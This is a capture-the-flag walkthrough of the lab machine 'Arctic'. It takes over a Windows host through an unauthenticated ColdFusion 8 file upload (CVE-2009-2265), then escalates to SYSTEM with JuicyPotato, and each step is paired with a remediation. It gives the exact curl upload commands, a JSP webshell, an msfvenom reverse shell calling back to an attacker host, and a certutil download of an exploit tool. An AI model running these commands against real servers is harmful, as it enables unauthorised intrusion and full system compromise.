J. Perez Duertojperezduerto.info
← all walkthroughs

Arctic

Windows· Easy· Web
owned
2026-07-01
time to own
9m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found Adobe ColdFusion 8 exposed directly on the internet, matched it to a 2009 public exploit that allows file uploads with no credentials, and planted a JSP webshell in the web root. That gave command execution as the ColdFusion service account, which carried SeImpersonatePrivilege.

I used JuicyPotato to convert that privilege into a SYSTEM-level process token via COM-based token impersonation, achieving full control of the Windows host without ever logging in or cracking a password.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceHTTP banner grabbing / service fingerprinting
Fingerprinted ColdFusion 8 on an internet-facing port
The application server was reachable from the internet on TCP/8500 with no firewall or network control in front of it. An HTTP request to the ColdFusion administrator path returned an HTTP 200, set CFID and CFTOKEN session cookies, and emitted a JRun Server response header. That single response told my the exact product and version, which was sufficient to pull a targeted exploit from a public database.
Curl -I http://$TARGET:8500/CFIDE/administrator/index.cfm returned HTTP 200 with CFID/CFTOKEN cookies and a JRun Server header confirming ColdFusion 8.
Exact commands 1
shell

Response headers reveal product (JRun), version signal (CFID/CFTOKEN), and confirm the admin console is reachable with no auth challenge.

$ curl -sS -I http://$TARGET:8500/CFIDE/administrator/index.cfm
FixRemove direct internet exposure of the ColdFusion application serverHigh
WeaknessThe ColdFusion server was reachable from the internet on TCP/8500 with no network control in front of it. The HTTP response headers revealed the exact product and version, turning passive browsing into targeted exploit selection in seconds.
FixPlace ColdFusion behind a reverse proxy or load balancer that terminates external connections and strips Server headers before forwarding. Block direct access to TCP/8500 at the perimeter firewall so no internet host can reach the JRun listener. Restrict the ColdFusion administrator console (/CFIDE/administrator/) to a dedicated management VLAN or VPN segment only — it should never be reachable from the internet.
2Vulnerability identificationPublic exploit research via searchsploit / Exploit-DB
Located a 2009 public exploit for unauthenticated file upload (CVE-2009-2265)
Searching the public Exploit-DB against 'ColdFusion 8' immediately returned EDB-50057, a well-documented unauthenticated arbitrary file upload through the FCKeditor file-manager connector that ships with ColdFusion 8. The CVE was assigned in 2009. This server had been running the vulnerable version for roughly 15 years without a patch.
Exact commands 2
shell

Lists all matching Exploit-DB entries; CVE-2009-2265 / EDB-50057 appears immediately.

$ searchsploit -w 'ColdFusion 8'
shell

Prints the local filesystem path to the exploit script for review and adaptation.

$ searchsploit -p 50057
3Initial access — file uploadUnauthenticated arbitrary file upload — CVE-2009-2265 / EDB-50057
Uploaded an arbitrary file to the server with no credentials via the FCKeditor connector
The FCKeditor file-manager connector endpoint at /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector accepts HTTP multipart file uploads from any unauthenticated caller. Uploading a benign text file confirmed that the upload succeeded and that the stored file was immediately retrievable under /userfiles/file/, meaning any file placed there is directly web-accessible.
OnUploadCompleted(0, "/userfiles/file/test1782961200.txt ..."); URL=http://$TARGET:8500/userfiles/
Exact commands 1
shell

The JSON response body contains the stored path under /userfiles/file/. Any file type is accepted.

$ echo 'probe' > test.txt && curl -sS -F "newfile=@test.txt;filename=test.txt" "http://$TARGET:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector?Command=FileUpload&Type=File&Currentfolder=/"
FixPatch or remove the ColdFusion 8 FCKeditor file-upload connectorCritical
WeaknessColdFusion 8 ships with an FCKeditor file-manager connector that accepts arbitrary file uploads from any caller with no authentication, no file-type restriction, and no token validation (CVE-2009-2265). Any uploaded file lands in a directory served directly by the JSP engine and executes on first request. This has been a known critical vulnerability since 2009.
FixUpgrade to a supported ColdFusion release (2021 or 2023) and apply all current vendor security patches. If an immediate upgrade is not possible: remove or block the FCKeditor connector path (/CFIDE/scripts/ajax/FCKeditor/) at the web server or reverse proxy layer; configure all file upload handlers to enforce an allow-list of safe MIME types and file extensions; serve uploaded files from a directory that is outside the web root or is mapped as non-executable so that even if a file is uploaded it cannot be invoked as a servlet.
4Initial access — webshellJSP webshell deployment via unauthenticated file upload
Planted a JSP webshell and gained remote command execution as arctic\tolis
A JSP file containing a minimal command-execution servlet (reads a URL parameter, passes it to cmd.exe /c, returns the output) was uploaded through the same unauthenticated endpoint. Because ColdFusion's JRun engine serves all files under /userfiles/file/ as live JSP, fetching the uploaded file caused the servlet engine to compile and run it. The resulting process ran as arctic\tolis, the account under which the ColdFusion service operates.
SHELL=.../cf1782961228.jsp response: 'arctic\tolis arctic Microsoft Windows [Version 6.1.7600]'
Exact commands 2
shell

Upload the JSP webshell; note the stored path from the response (e.g. /userfiles/file/cmd.jsp).

$ curl -sS -F "newfile=@cmd.jsp;filename=cmd.jsp" "http://$TARGET:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector?Command=FileUpload&Type=File&Currentfolder=/"
shell

Confirm execution — should return arctic\tolis.

$ curl -sS --get --data-urlencode 'cmd=whoami' "http://$TARGET:8500/userfiles/file/cmd.jsp"
arctic\tolis
5CollectionWebshell command execution — file read
Read the user-level flag from tolis's Desktop
With command execution established as arctic\tolis, I read the user flag from the account's Desktop directory using a single webshell request. No additional credentials, lateral movement, or tooling were required.
User.txt confirmed present and readable at C:\Users\tolis\Desktop\user.txt.
Exact commands 1
shell

Returns <user.txt> — the user-level proof of access.

$ curl -sS --get --data-urlencode 'cmd=powershell -NoP -C "Get-Content C:\\Users\\tolis\\Desktop\\user.txt"' "http://$TARGET:8500/userfiles/file/cmd.jsp"
6Shell upgradeJSP reverse shell via msfvenom / java/jsp_shell_reverse_tcp
Replaced the single-command webshell with an interactive reverse shell
A webshell that accepts one command at a time is slow and unreliable for privilege escalation work. I used the same unauthenticated upload endpoint to plant a msfvenom-generated JSP reverse shell, then triggered it to call back to a netcat listener, producing a full interactive shell session as arctic\tolis.
Exact commands 4
shell

Generate a JSP reverse shell payload; substitute $ATTACKER_IP with your listener address.

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4445 -o rs.jsp
shell

Upload the reverse shell through the same unauthenticated endpoint.

$ curl -sS -F "newfile=@rs.jsp;filename=rs.jsp" "http://$TARGET:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector?Command=FileUpload&Type=File&Currentfolder=/"
shell

Start the listener in a separate terminal before triggering the shell.

$ nc -lvnp 4445
shell

Requesting the uploaded file causes JRun to execute it, triggering the callback.

$ curl -sS "http://$TARGET:8500/userfiles/file/rs.jsp"
7Privilege escalationToken impersonation via SeImpersonatePrivilege — JuicyPotato
Escalated to NT AUTHORITY\SYSTEM by abusing SeImpersonatePrivilege with JuicyPotato
Running whoami /priv inside the interactive shell showed the arctic\tolis token held SeImpersonatePrivilege. This right, commonly granted to service accounts, allows the holder to impersonate any token presented to it during an authentication handshake. JuicyPotato exploits this by starting a COM server that induces SYSTEM to authenticate locally via NTLM, then captures and impersonates the resulting SYSTEM token to call CreateProcessWithTokenW — spawning any chosen process as SYSTEM. C:\Windows\Temp was not writable by this account, so JuicyPotato was staged in the user's own AppData\Local\Temp instead.
Jp.exe -t * -l 1337 completed with authresult 0; whoami output returned nt authority\system.
Exact commands 4
shell

Run from the interactive shell to confirm SeImpersonatePrivilege is listed as Enabled.

$ whoami /priv
shell

Fetch JuicyPotato to a user-writable path; C:\Windows\Temp is ACL-locked for this account.

$ certutil -urlcache -f http://$ATTACKER_IP:9000/JuicyPotato.exe C:\Users\tolis\AppData\Local\Temp\jp.exe
shell

-t * tries both CreateProcessWithTokenW and CreateProcessAsUser; -l sets the local COM listener port.

$ C:\Users\tolis\AppData\Local\Temp\jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Users\tolis\Desktop\jp_out.txt 2>&1"
shell

Should read: nt authority\system — confirms full escalation.

$ type C:\Users\tolis\Desktop\jp_out.txt
FixRemove SeImpersonatePrivilege from the ColdFusion service accountHigh
WeaknessThe ColdFusion service ran as arctic\tolis, an account that held SeImpersonatePrivilege. Anyone who gains code execution through the web application automatically inherits this right and can escalate to NT AUTHORITY\SYSTEM using readily available tools (JuicyPotato, PrintSpoofer, GodPotato, RoguePotato) with no further exploitation required.
FixCreate a dedicated least-privilege local service account for ColdFusion that holds only the permissions the application needs to read its own files, write logs, and bind to its port. Remove SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege from that account through Group Policy under Computer Configuration > Windows Settings > Security Settings > Local Policies > User Rights Assignment. Audit all service accounts on a schedule to confirm no unnecessary privileges have accumulated.
8CollectionPost-exploitation file access as SYSTEM
Read the Administrator's flag as NT AUTHORITY\SYSTEM
A SYSTEM-level process token can read any file on the local machine regardless of NTFS ACLs.
Exact commands 2
shell

JuicyPotato runs cmd.exe as SYSTEM; output is written to a path tolis can read back.

$ C:\Users\tolis\AppData\Local\Temp\jp.exe -t * -l 1338 -p C:\Windows\System32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\root.txt > C:\Users\tolis\Desktop\root_out.txt 2>&1"
shell

Returns <root.txt> — confirms full administrative control of the host.

$ type C:\Users\tolis\Desktop\root_out.txt

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.